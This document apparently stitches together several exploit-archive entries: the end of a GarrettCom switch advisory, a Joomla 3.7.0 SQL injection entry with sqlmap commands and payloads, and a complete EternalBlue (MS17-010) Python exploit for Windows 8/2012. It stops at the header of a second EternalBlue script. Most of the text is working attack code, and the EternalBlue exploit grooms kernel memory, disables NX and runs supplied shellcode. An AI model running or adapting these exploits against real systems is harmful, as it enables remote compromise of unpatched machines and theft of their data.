1zuQ1riFOkTsz7koKQNWTh3CkIBE7843p5I/GVvhfR7xNCCmCWPdq+6/b3nhott5
oBeMLOjIWnjFgyVMsWR22JOYv+euWwr4oqZDLfBHjfipnu36J1E2kHLG3TL9uwyN
DUxtrIbvfi5tOxi8tx1bxZFQU1jxoQa725gO+1TOYzfSoY1a7/M0rMhJM1wFXak6
jbDbJLSv2TXMWrSJlGFUbCcKv3kE22zLcU/wx1Xl4a4NNvFW7Sf5OG2B+bFLr4fD
AgMBAAGjgf0wgfowHQYDVR0OBBYEFLtGmDWgd773vSkKikDFSz8VOZ7DMIHKBgNV
HSMEgcIwgb+AFLtGmDWgd773vSkKikDFSz8VOZ7DoYGjpIGgMIGdMQswCQYDVQQG
EwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTEQMA4GA1UEBxMHRnJlbW9udDEPMA0G
A1UEChMGQmVsZGVuMRowGAYDVQQLExFUZWNobmljYWwgU3VwcG9ydDEUMBIGA1UE
AxMLMTkyLjE2OC4xLjIxJDAiBgkqhkiG9w0BCQEWFWdjaXN1cHBvcnRAYmVsZGVu
LmNvbYIBADAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBBQUAA4IBAQBAiuv06CMD
ij+9bEZAfmHftptG4UqsNgYIFZ1sN7HC6RBR9xy45fWVcQN3l3KiyddLsftbZSOa
CRPpzqgpF58hGwAa7+yQPOjOWf+uLc9Oyex6P9ewAo6c5iiYI865FSQ+QCY4xbD1
Uk/WFV2LKOzxkXPRcVB4KR81g8tSZF3E8llybhEngg7cvN3uHpO5a5U085xuBbcF
To9PSbGKyJ7UGESBTD6KxLWAxoD6VGRV2CAZa/F9RTbdG1ZbTUMvoEDmYqv7Pjv/
ApZzztLJlCyhVM4N/jh/Q/g1VaQWuzPpza6utjN5soUxeZYJB6KwzGUiLnyTNBJz
L4JtsUO8AcWb
-----END CERTIFICATE-----
Note that Belden Garrettcom has addressed this issue by reinforcing that
users of the switches should install their own SSL certificates if they
do not want to use the default certificate and key.
GarrettCom-05 - Weak SSL Ciphers Enabled
----------------------------------------
Severity: **Moderate**
Many of the SSL ciphers available for the switch are outdated or use
insecure ciphers or hashes. Additionally, no key exchanges with perfect forward
secrecy are offered, rendering all previous communications possibly compromised,
given the issue reported above. Particularly of note is the use of 56-bit DES,
RC4, and MD5-based MACs.
ssl3: AES256-SHA
ssl3: CAMELLIA256-SHA
ssl3: DES-CBC3-SHA
ssl3: AES128-SHA
ssl3: SEED-SHA
ssl3: CAMELLIA128-SHA
ssl3: RC4-SHA
ssl3: RC4-MD5
ssl3: DES-CBC-SHA
tls1: AES256-SHA
tls1: CAMELLIA256-SHA
tls1: DES-CBC3-SHA
tls1: AES128-SHA
tls1: SEED-SHA
tls1: CAMELLIA128-SHA
tls1: RC4-SHA
tls1: RC4-MD5
tls1: DES-CBC-SHA
tls1_1: AES256-SHA
tls1_1: CAMELLIA256-SHA
tls1_1: DES-CBC3-SHA
tls1_1: AES128-SHA
tls1_1: SEED-SHA
tls1_1: CAMELLIA128-SHA
tls1_1: RC4-SHA
tls1_1: RC4-MD5
tls1_1: DES-CBC-SHA
tls1_2: AES256-GCM-SHA384
tls1_2: AES256-SHA256
tls1_2: AES256-SHA
tls1_2: CAMELLIA256-SHA
tls1_2: DES-CBC3-SHA
tls1_2: AES128-GCM-SHA256
tls1_2: AES128-SHA256
tls1_2: AES128-SHA
tls1_2: SEED-SHA
tls1_2: CAMELLIA128-SHA
tls1_2: RC4-SHA
tls1_2: RC4-MD5
tls1_2: DES-CBC-SHA
GarrettCom-06 - Weak HTTP session key generation
------------------------------------------------
Severity: **Moderate**
The HTTP session key generation is predictable due to the lack of
randomness in the generation process. The key is generated by hashing the
previous hash result with the current time unit with precision around 50 unit
per second. The previous hash is replaced with a fixed salt for the first hash
generation.
The vulnerability allows an attacker to predict the first key that’s
generated by the switch if he has some knowledge about when the key was generated.
Alternatively, the vulnerability also enables privilege escalation attacks
which predict all future keys by observing two consecutive key generations of
lower privileges.
Timeline
--------
2017/01/?? - Issues Discovered
2017/01/27 - Reported to BEL-SM-PSIRT@belden.com
2017/04/27 - 90 day timeline expires, Belden reports patched release forthcoming.
2017/05/08 - Belden releases update & advisory.
2017/05/15 - Disclosure published
Discovery
---------
These issues were discovered by Andrew Griffiths, David Tomaschik, and
Xiaoran Wang of the Google Security Assessments Team.
# Exploit Title: Joomla 3.7.0 - Sql Injection
# Date: 05-19-2017
# Exploit Author: Mateus Lino
# Reference: https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html
# Vendor Homepage: https://www.joomla.org/
# Version: = 3.7.0
# Tested on: Win, Kali Linux x64, Ubuntu, Manjaro and Arch Linux
# CVE : - CVE-2017-8917
URL Vulnerable: http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27
Using Sqlmap:
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
Parameter: list[fullordering] (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (DUAL)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(CASE WHEN (1573=1573) THEN 1573 ELSE 1573*(SELECT 1573 FROM DUAL UNION SELECT 9674 FROM DUAL) END)
Type: error-based
Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 6600 FROM(SELECT COUNT(*),CONCAT(0x7171767071,(SELECT (ELT(6600=6600,1))),0x716a707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT * FROM (SELECT(SLEEP(5)))GDiu)
#!/usr/bin/python
from impacket import smb, ntlm
from struct import pack
import sys
import socket
'''
EternalBlue exploit for Windows 8 and 2012 by sleepya
The exploit might FAIL and CRASH a target system (depended on what is overwritten)
The exploit support only x64 target
EDB Note: Shellcode
- x64 ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42030.asm
- x86 ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42031.asm
Tested on:
- Windows 2012 R2 x64
- Windows 8.1 x64
- Windows 10 Pro Build 10240 x64
Default Windows 8 and later installation without additional service info:
- anonymous is not allowed to access any share (including IPC$)
- More info: https://support.microsoft.com/en-us/help/3034016/ipc-share-and-null-session-behavior-in-windows
- tcp port 445 is filtered by firewall
Reference:
- http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
- "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" https://drive.google.com/file/d/0B3P18M-shbwrNWZTa181ZWRCclk/edit
Exploit info:
- If you do not know how exploit for Windows 7/2008 work. Please read my exploit for Windows 7/2008 at
https://gist.github.com/worawit/bd04bad3cd231474763b873df081c09a because the trick for exploit is almost the same
- The exploit use heap of HAL for placing fake struct (address 0xffffffffffd00e00) and shellcode (address 0xffffffffffd01000).
On Windows 8 and Wndows 2012, the NX bit is set on this memory page. Need to disable it before controlling RIP.
- The exploit is likely to crash a target when it failed
- The overflow is happened on nonpaged pool so we need to massage target nonpaged pool.
- If exploit failed but target does not crash, try increasing 'numGroomConn' value (at least 5)
- See the code and comment for exploit detail.
Disable NX method:
- The idea is from "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" (see link in reference)
- The exploit is also the same but we need to trigger bug twice
- First trigger, set MDL.MappedSystemVa to target pte address
- Write '\x00' to disable the NX flag
- Second trigger, do the same as Windows 7 exploit
- From my test, if exploit disable NX successfully, I always get code execution
# E-DB Note: https://gist.github.com/worawit/074a27e90a3686506fc586249934a30e
# E-DB Note: https://github.com/worawit/MS17-010/blob/873c5453680a0785415990379a4b36ba61f82a4d/eternalblue_exploit8.py
'''
# if anonymous can access any share folder, 'IPC$' is always accessible.
# authenticated user is always able to access 'IPC$'.
# Windows 2012 does not allow anonymous to login if no share is accessible.
USERNAME=''
PASSWORD=''
# because the srvnet buffer is changed dramatically from Windows 7, I have to choose NTFEA size to 0x9000
NTFEA_SIZE = 0x9000
ntfea9000 = (pack('<BBH', 0, 0, 0) + '\x00')*0x260 # with these fea, ntfea size is 0x1c80
ntfea9000 += pack('<BBH', 0, 0, 0x735c) + '\x00'*0x735d # 0x8fe8 - 0x1c80 - 0xc = 0x735c
ntfea9000 += pack('<BBH', 0, 0, 0x8147) + '\x00'*0x8148 # overflow to SRVNET_BUFFER_HDR
'''
Reverse from srvnet.sys (Win2012 R2 x64)
- SrvNetAllocateBufferFromPool() and SrvNetWskTransformedReceiveComplete():
// size 0x90
struct SRVNET_BUFFER_HDR {
LIST_ENTRY list;
USHORT flag; // 2 least significant bit MUST be clear. if 0x1 is set, pmdl pointers are access. if 0x2 is set, go to lookaside.
char unknown0[6];
char *pNetRawBuffer; // MUST point to valid address (check if this request is "\xfdSMB")
DWORD netRawBufferSize; // offset: 0x20
DWORD ioStatusInfo;
DWORD thisNonPagedPoolSize; // will be 0x82e8 for netRawBufferSize 0x8100
DWORD pad2;
char *thisNonPagedPoolAddr; // 0x30 points to SRVNET_BUFFER
PMDL pmdl1; // point at offset 0x90 from this struct
DWORD nByteProcessed; // 0x40
char unknown4[4];
QWORD smbMsgSize; // MUST be modified to size of all recv data
PMDL pmdl2; // 0x50: if want to free corrupted buffer, need to set to valid address
QWORD pSrvNetWskStruct; // want to change to fake struct address
DWORD unknown6; // 0x60
char unknown7[12];
char unknown8[0x20];
};
struct SRVNET_BUFFER {
char transportHeader[80]; // 0x50
char buffer[reqSize+padding]; // 0x8100 (for pool size 0x82f0), 0x10100 (for pool size 0x11000)
SRVNET_BUFFER_HDR hdr; //some header size 0x90
//MDL mdl1; // target
};
In Windows 8, the srvnet buffer metadata is declared after real buffer. We need to overflow through whole receive buffer.
Because transaction max data count is 66512 (0x103d0) in SMB_COM_NT_TRANSACT command and
DataDisplacement is USHORT in SMB_COM_TRANSACTION2_SECONDARY command, we cannot send large trailing data after FEALIST.
So the possible srvnet buffer pool size is 0x82f0. With this pool size, we need to overflow more than 0x8150 bytes.
If exploit cannot overflow to prepared SRVNET_BUFFER, the target is likely to crash because of big overflow.
'''
# Most field in overwritten (corrupted) srvnet struct can be any value because it will be left without free (memory leak) after processing
# Here is the important fields on x64
# - offset 0x18 (VOID*) : pointer to received SMB message buffer. This value MUST be valid address because there is
# a check in SrvNetWskTransformedReceiveComplete() if this message starts with "\xfdSMB".
# - offset 0x48 (QWORD) : the SMB message length from packet header (first 4 bytes).
# This value MUST be exactly same as the number of bytes we send.
# Normally, this value is 0x80 + len(fake_struct) + len(shellcode)
# - offset 0x58 (VOID*) : pointer to a struct contained pointer to function. the pointer to function is called when done receiving SMB request.
# The value MUST point to valid (might be fake) struct.
# - offset 0x90 (MDL) : MDL for describe receiving SMB request buffer
# - 0x90 (VOID*) : MDL.Next should be NULL
# - 0x98 (USHORT) : MDL.Size should be some value that not too small
# - 0x9a (USHORT) : MDL.MdlFlags should be 0x1004 (MDL_NETWORK_HEADER|MDL_SOURCE_IS_NONPAGED_POOL)
# - 0x90 (VOID*) : MDL.Process should be NULL
# - 0x98 (VOID*) : MDL.MappedSystemVa MUST be a received network buffer address. Controlling this value get arbitrary write.
# The address for arbitrary write MUST be subtracted by a number of sent bytes (0x80 in this exploit).
#
#
# To free the corrupted srvnet buffer (not necessary), shellcode MUST modify some memory value to satisfy condition.
# Here is related field for freeing corrupted buffer
# - offset 0x10 (USHORT): 2 least significant bit MUST be clear. Just set to 0xfff0
# - offset 0x30 (VOID*) : MUST be fixed to correct value in shellcode. This is the value that passed to ExFreePoolWithTag()
# - offset 0x40 (DWORD) : be a number of total byte received. This field MUST be set by shellcode because SrvNetWskReceiveComplete() set it to 0
# before calling SrvNetCommonReceiveHandler(). This is possible because pointer to SRVNET_BUFFER struct is passed to
# your shellcode as function argument
# - offset 0x50 (PMDL) : points to any fake MDL with MDL.Flags 0x20 does not set
# The last condition is your shellcode MUST return non-negative value. The easiest way to do is "xor eax,eax" before "ret".
# Here is x64 assembly code for setting nByteProcessed field
# - fetch SRVNET_BUFFER address from function argument
# \x48\x8b\x54\x24\x40 mov rdx, [rsp+0x40]
# - fix pool pointer (rcx is -0x8150 because of fake_recv_struct below)
# \x48\x01\xd1 add rcx, rdx
# \x48\x89\x4a\x30 mov [rdx+0x30], rcx
# - set nByteProcessed for trigger free after return
# \x8b\x4a\x48 mov ecx, [rdx+0x48]
# \x89\x4a\x40 mov [rdx+0x40], ecx
# debug mode affects HAL heap. The 0xffffffffffd04000 address should be useable no matter what debug mode is.
# The 0xffffffffffd00000 address should be useable when debug mode is not enabled
# The 0xffffffffffd01000 address should be useable when debug mode is enabled
TARGET_HAL_HEAP_ADDR = 0xffffffffffd04000 # for put fake struct and shellcode
# Note: feaList will be created after knowing shellcode size.
# feaList for disabling NX is possible because we just want to change only MDL.MappedSystemVa
# PTE of 0xffffffffffd00000 is at 0xfffff6ffffffe800
# NX bit is at PTE_ADDR+7
# MappedSystemVa = PTE_ADDR+7 - 0x7f
SHELLCODE_PAGE_ADDR = (TARGET_HAL_HEAP_ADDR + 0x400) & 0xfffffffffffff000
PTE_ADDR = 0xfffff6ffffffe800 + 8*((SHELLCODE_PAGE_ADDR-0xffffffffffd00000) >> 12)
fakeSrvNetBufferX64Nx = '\x00'*16
fakeSrvNetBufferX64Nx += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR)
fakeSrvNetBufferX64Nx += '\x00'*16
fakeSrvNetBufferX64Nx += '\x00'*16
fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)
fakeSrvNetBufferX64Nx += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR) # _, _, pointer to fake struct
fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)
fakeSrvNetBufferX64Nx += '\x00'*16
fakeSrvNetBufferX64Nx += '\x00'*16
fakeSrvNetBufferX64Nx += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
fakeSrvNetBufferX64Nx += pack('<QQ', 0, PTE_ADDR+7-0x7f) # MDL.Process, MDL.MappedSystemVa
feaListNx = pack('<I', 0x10000)
feaListNx += ntfea9000
feaListNx += pack('<BBH', 0, 0, len(fakeSrvNetBufferX64Nx)-1) + fakeSrvNetBufferX64Nx # -1 because first '\x00' is for name
# stop copying by invalid flag (can be any value except 0 and 0x80)
feaListNx += pack('<BBH', 0x12, 0x34, 0x5678)
def createFakeSrvNetBuffer(sc_size):
# 0x180 is size of fakeSrvNetBufferX64
totalRecvSize = 0x80 + 0x180 + sc_size
fakeSrvNetBufferX64 = '\x00'*16
fakeSrvNetBufferX64 += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR) # flag, _, _, pNetRawBuffer
fakeSrvNetBufferX64 += pack('<QII', 0, 0x82e8, 0) # _, thisNonPagedPoolSize, _
fakeSrvNetBufferX64 += '\x00'*16
fakeSrvNetBufferX64 += pack('<QQ', 0, totalRecvSize) # offset 0x40
fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR, TARGET_HAL_HEAP_ADDR) # pmdl2, pointer to fake struct
fakeSrvNetBufferX64 += pack('<QQ', 0, 0)
fakeSrvNetBufferX64 += '\x00'*16
fakeSrvNetBufferX64 += '\x00'*16
fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR-0x80) # MDL.Process, MDL.MappedSystemVa
return fakeSrvNetBufferX64
def createFeaList(sc_size):
feaList = pack('<I', 0x10000)
feaList += ntfea9000
fakeSrvNetBuf = createFakeSrvNetBuffer(sc_size)
feaList += pack('<BBH', 0, 0, len(fakeSrvNetBuf)-1) + fakeSrvNetBuf # -1 because first '\x00' is for name
# stop copying by invalid flag (can be any value except 0 and 0x80)
feaList += pack('<BBH', 0x12, 0x34, 0x5678)
return feaList
# fake struct for SrvNetWskTransformedReceiveComplete() and SrvNetCommonReceiveHandler()
# x64: fake struct is at ffffffff ffd00e00
# offset 0x50: KSPIN_LOCK
# offset 0x58: LIST_ENTRY must be valid address. cannot be NULL.
# offset 0x110: array of pointer to function
# offset 0x13c: set to 3 (DWORD) for invoking ptr to function
# some useful offset
# offset 0x120: arg1 when invoking ptr to function
# offset 0x128: arg2 when invoking ptr to function
#
# code path to get code exection after this struct is controlled
# SrvNetWskTransformedReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr
fake_recv_struct = ('\x00'*16)*5
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x58) # offset 0x50: KSPIN_LOCK, (LIST_ENTRY to itself)
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x58, 0) # offset 0x60
fake_recv_struct += ('\x00'*16)*10
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x170, 0) # offset 0x110: fn_ptr array
fake_recv_struct += pack('<QQ', (0x8150^0xffffffffffffffff)+1, 0) # set arg1 to -0x8150
fake_recv_struct += pack('<QII', 0, 0, 3) # offset 0x130
fake_recv_struct += ('\x00'*16)*3
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x180) # shellcode address
def getNTStatus(self):
return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass']
setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus)
def sendEcho(conn, tid, data):
pkt = smb.NewSMBPacket()
pkt['Tid'] = tid
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
transCommand['Parameters'] = smb.SMBEcho_Parameters()
transCommand['Data'] = smb.SMBEcho_Data()
transCommand['Parameters']['EchoCount'] = 1
transCommand['Data']['Data'] = data
pkt.addCommand(transCommand)
conn.sendSMB(pkt)
recvPkt = conn.recvSMB()
if recvPkt.getNTStatus() == 0:
print('got good ECHO response')
else:
print('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus()))
# override SMB.neg_session() to allow forcing ntlm authentication
class MYSMB(smb.SMB):
def __init__(self, remote_host, use_ntlmv2=True):
self.__use_ntlmv2 = use_ntlmv2
smb.SMB.__init__(self, remote_host, remote_host)
def neg_session(self, extended_security = True, negPacket = None):
smb.SMB.neg_session(self, extended_security=self.__use_ntlmv2, negPacket=negPacket)
def createSessionAllocNonPaged(target, size):
conn = MYSMB(target, use_ntlmv2=False) # with this negotiation, FLAGS2_EXTENDED_SECURITY is not set
_, flags2 = conn.get_flags()
# if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
if size >= 0xffff:
flags2 &= ~smb.SMB.FLAGS2_UNICODE
reqSize = size // 2
else:
flags2 |= smb.SMB.FLAGS2_UNICODE
reqSize = size
conn.set_flags(flags2=flags2)
pkt = smb.NewSMBPacket()
sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()
sessionSetup['Parameters']['MaxBufferSize'] = 61440 # can be any value greater than response size
sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value
sessionSetup['Parameters']['VcNumber'] = 2 # any non-zero
sessionSetup['Parameters']['SessionKey'] = 0
sessionSetup['Parameters']['SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session
sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS
sessionSetup['Data'] = pack('<H', reqSize) + '\x00'*20
pkt.addCommand(sessionSetup)
conn.sendSMB(pkt)
recvPkt = conn.recvSMB()
if recvPkt.getNTStatus() == 0:
print('SMB1 session setup allocate nonpaged pool success')
return conn
if USERNAME:
# Try login with valid user because anonymous user might get access denied on Windows Server 2012.
# Note: If target allows only NTLMv2 authentication, the login will always fail.
# support only ascii because I am lazy to implement Unicode (need pad for alignment and converting username to utf-16)
flags2 &= ~smb.SMB.FLAGS2_UNICODE
reqSize = size // 2
conn.set_flags(flags2=flags2)
# new SMB packet to reset flags
pkt = smb.NewSMBPacket()
pwd_unicode = conn.get_ntlmv1_response(ntlm.compute_nthash(PASSWORD))
# UnicodePasswordLen field is in Reserved for extended security format.
sessionSetup['Parameters']['Reserved'] = len(pwd_unicode)
sessionSetup['Data'] = pack('<H', reqSize+len(pwd_unicode)+len(USERNAME)) + pwd_unicode + USERNAME + '\x00'*16
pkt.addCommand(sessionSetup)
conn.sendSMB(pkt)
recvPkt = conn.recvSMB()
if recvPkt.getNTStatus() == 0:
print('SMB1 session setup allocate nonpaged pool success')
return conn
# lazy to check error code, just print fail message
print('SMB1 session setup allocate nonpaged pool failed')
sys.exit(1)
# Note: impacket-0.9.15 struct has no ParameterDisplacement
############# SMB_COM_TRANSACTION2_SECONDARY (0x33)
class SMBTransaction2Secondary_Parameters_Fixed(smb.SMBCommand_Parameters):
structure = (
('TotalParameterCount','<H=0'),
('TotalDataCount','<H'),
('ParameterCount','<H=0'),
('ParameterOffset','<H=0'),
('ParameterDisplacement','<H=0'),
('DataCount','<H'),
('DataOffset','<H'),
('DataDisplacement','<H=0'),
('FID','<H=0'),
)
def send_trans2_second(conn, tid, data, displacement):
pkt = smb.NewSMBPacket()
pkt['Tid'] = tid
# assume no params
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
transCommand['Parameters'] = SMBTransaction2Secondary_Parameters_Fixed()
transCommand['Data'] = smb.SMBTransaction2Secondary_Data()
transCommand['Parameters']['TotalParameterCount'] = 0
transCommand['Parameters']['TotalDataCount'] = len(data)
fixedOffset = 32+3+18
transCommand['Data']['Pad1'] = ''
transCommand['Parameters']['ParameterCount'] = 0
transCommand['Parameters']['ParameterOffset'] = 0
if len(data) > 0:
pad2Len = (4 - fixedOffset % 4) % 4
transCommand['Data']['Pad2'] = '\xFF' * pad2Len
else:
transCommand['Data']['Pad2'] = ''
pad2Len = 0
transCommand['Parameters']['DataCount'] = len(data)
transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len
transCommand['Parameters']['DataDisplacement'] = displacement
transCommand['Data']['Trans_Parameters'] = ''
transCommand['Data']['Trans_Data'] = data
pkt.addCommand(transCommand)
conn.sendSMB(pkt)
def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True):
pkt = smb.NewSMBPacket()
pkt['Tid'] = tid
command = pack('<H', setup)
# Use SMB_COM_NT_TRANSACT because we need to send data >65535 bytes to trigger the bug.
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
transCommand['Parameters']['MaxSetupCount'] = 1
transCommand['Parameters']['MaxParameterCount'] = len(param)
transCommand['Parameters']['MaxDataCount'] = 0
transCommand['Data'] = smb.SMBTransaction2_Data()
transCommand['Parameters']['Setup'] = command
transCommand['Parameters']['TotalParameterCount'] = len(param)
transCommand['Parameters']['TotalDataCount'] = len(data)
fixedOffset = 32+3+38 + len(command)
if len(param) > 0:
padLen = (4 - fixedOffset % 4 ) % 4
padBytes = '\xFF' * padLen
transCommand['Data']['Pad1'] = padBytes
else:
transCommand['Data']['Pad1'] = ''
padLen = 0
transCommand['Parameters']['ParameterCount'] = len(param)
transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen
if len(data) > 0:
pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
transCommand['Data']['Pad2'] = '\xFF' * pad2Len
else:
transCommand['Data']['Pad2'] = ''
pad2Len = 0
transCommand['Parameters']['DataCount'] = firstDataFragmentSize
transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len
transCommand['Data']['Trans_Parameters'] = param
transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize]
pkt.addCommand(transCommand)
conn.sendSMB(pkt)
recvPkt = conn.recvSMB() # must be success
if recvPkt.getNTStatus() == 0:
print('got good NT Trans response')
else:
print('got bad NT Trans response: 0x{:x}'.format(recvPkt.getNTStatus()))
sys.exit(1)
# Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data
i = firstDataFragmentSize
while i < len(data):
sendSize = min(4096, len(data) - i)
if len(data) - i <= 4096:
if not sendLastChunk:
break
send_trans2_second(conn, tid, data[i:i+sendSize], i)
i += sendSize
if sendLastChunk:
conn.recvSMB()
return i
# connect to target and send a large nbss size with data 0x80 bytes
# this method is for allocating big nonpaged pool on target
def createConnectionWithBigSMBFirst80(target, for_nx=False):
sk = socket.create_connection((target, 445))
pkt = '\x00' + '\x00' + pack('>H', 0x8100)
# There is no need to be SMB2 because we want the target free the corrupted buffer.
# Also this is invalid SMB2 message.
# I believe NSA exploit use SMB2 for hiding alert from IDS
#pkt += '\xfeSMB' # smb2
# it can be anything even it is invalid
pkt += 'BAAD' # can be any
if for_nx:
# MUST set no delay because 1 byte MUST be sent immediately
sk.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
pkt += '\x00'*0x7b # another byte will be sent later to disabling NX
else:
pkt += '\x00'*0x7c
sk.send(pkt)
return sk
def exploit(target, shellcode, numGroomConn):
# force using smb.SMB for SMB1
conn = smb.SMB(target, target)
conn.login(USERNAME, PASSWORD)
server_os = conn.get_server_os()
print('Target OS: '+server_os)
if server_os.startswith("Windows 10 "):
build = int(server_os.split()[-1])
if build >= 14393: # version 1607
print('This exploit does not support this target')
sys.exit()
elif not (server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ")):
print('This exploit does not support this target')
sys.exit()
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
# The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand.
# Send TRANS2_OPEN2 (0) with special feaList to a target except last fragment
progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, len(feaList)%4096, False)
# Another TRANS2_OPEN2 (0) with special feaList for disabling NX
nxconn = smb.SMB(target, target)
nxconn.login(USERNAME, PASSWORD)
nxtid = nxconn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
nxprogress = send_big_trans2(nxconn, nxtid, 0, feaListNx, '\x00'*30, len(feaList)%4096, False)
# create some big buffer at server
# this buffer MUST NOT be big enough for overflown buffer
allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x2010)
# groom nonpaged pool
# when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one
srvnetConn = []
for i in range(numGroomConn):
sk = createConnectionWithBigSMBFirst80(target, for_nx=True)
srvnetConn.append(sk)
# create buffer size NTFEA_SIZE at server
# this buffer will be replaced by overflown buffer
holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE-0x10)
# disconnect allocConn to free buffer
# expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer
allocConn.get_socket().close()
# hope one of srvnetConn is next to holeConn
for i in range(5):
sk = createConnectionWithBigSMBFirst80(target, for_nx=True)
srvnetConn.append(sk)
# remove holeConn to create hole for fea buffer
holeConn.get_socket().close()
# send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
# first trigger, overwrite srvnet buffer struct for disabling NX
send_trans2_second(nxconn, nxtid, feaListNx[nxprogress:], nxprogress)
recvPkt = nxconn.recvSMB()
retStatus = recvPkt.getNTStatus()
if retStatus == 0xc000000d:
print('good response status for nx: INVALID_PARAMETER')
else:
print('bad response status for nx: 0x{:08x}'.format(retStatus))
# one of srvnetConn struct header should be modified
# send '\x00' to disable nx
for sk in srvnetConn:
sk.send('\x00')
# send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
# second trigger, place fake struct and shellcode
send_trans2_second(conn, tid, feaList[progress:], progress)
recvPkt = conn.recvSMB()
retStatus = recvPkt.getNTStatus()
if retStatus == 0xc000000d:
print('good response status: INVALID_PARAMETER')
else:
print('bad response status: 0x{:08x}'.format(retStatus))
# one of srvnetConn struct header should be modified
# a corrupted buffer will write recv data in designed memory address
for sk in srvnetConn:
sk.send(fake_recv_struct + shellcode)
# execute shellcode
for sk in srvnetConn:
sk.close()
# nicely close connection (no need for exploit)
nxconn.disconnect_tree(tid)
nxconn.logoff()
nxconn.get_socket().close()
conn.disconnect_tree(tid)
conn.logoff()
conn.get_socket().close()
if len(sys.argv) < 3:
print("{} <ip> <shellcode_file> [numGroomConn]".format(sys.argv[0]))
sys.exit(1)
TARGET=sys.argv[1]
numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3])
fp = open(sys.argv[2], 'rb')
sc = fp.read()
fp.close()
if len(sc) > 0xe80:
print('Shellcode too long. The place that this exploit put a shellcode is limited to {} bytes.'.format(0xe80))
sys.exit()
# Now, shellcode is known. create a feaList
feaList = createFeaList(len(sc))
print('shellcode size: {:d}'.format(len(sc)))
print('numGroomConn: {:d}'.format(numGroomConn))
exploit(TARGET, sc, numGroomConn)
print('done')
#!/usr/bin/python
from impacket import smb
from struct import pack
import sys
import socket
'''
EternalBlue exploit for Windows 7/2008 by sleepya
The exploit might FAIL and CRASH a target system (depended on what is overwritten)
EDB Note: Shellcode
- x64 ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42030.asm
- x86 ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42031.asm
Tested on:
- Windows 7 SP1 x64
- Windows 2008 R2 SP1 x64
